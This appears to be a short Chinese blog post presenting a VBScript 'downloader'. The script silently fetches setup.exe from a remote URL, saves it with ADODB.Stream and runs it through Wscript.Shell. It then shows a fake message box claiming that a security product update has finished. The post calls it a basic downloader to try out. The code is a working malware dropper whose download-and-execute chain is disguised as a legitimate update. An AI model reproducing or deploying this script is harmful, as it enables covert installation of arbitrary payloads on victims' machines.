set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://down.xxsafe.com/setup.exe",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "setup.exe"
Set ws = CreateObject("Wscript.Shell")
ws.run "setup.exe"
msgbox "xx安全卫士更新完毕!",vbyes,"提示:"
可以做个自娱自乐的下载者玩一下,基础东西。
使用VBS实现文件静默下载
本文介绍了一种利用VBScript(VBS)实现从指定URL静默下载文件的方法,并通过示例展示了如何将文件保存到本地并执行该文件。
6339

被折叠的 条评论
为什么被折叠?



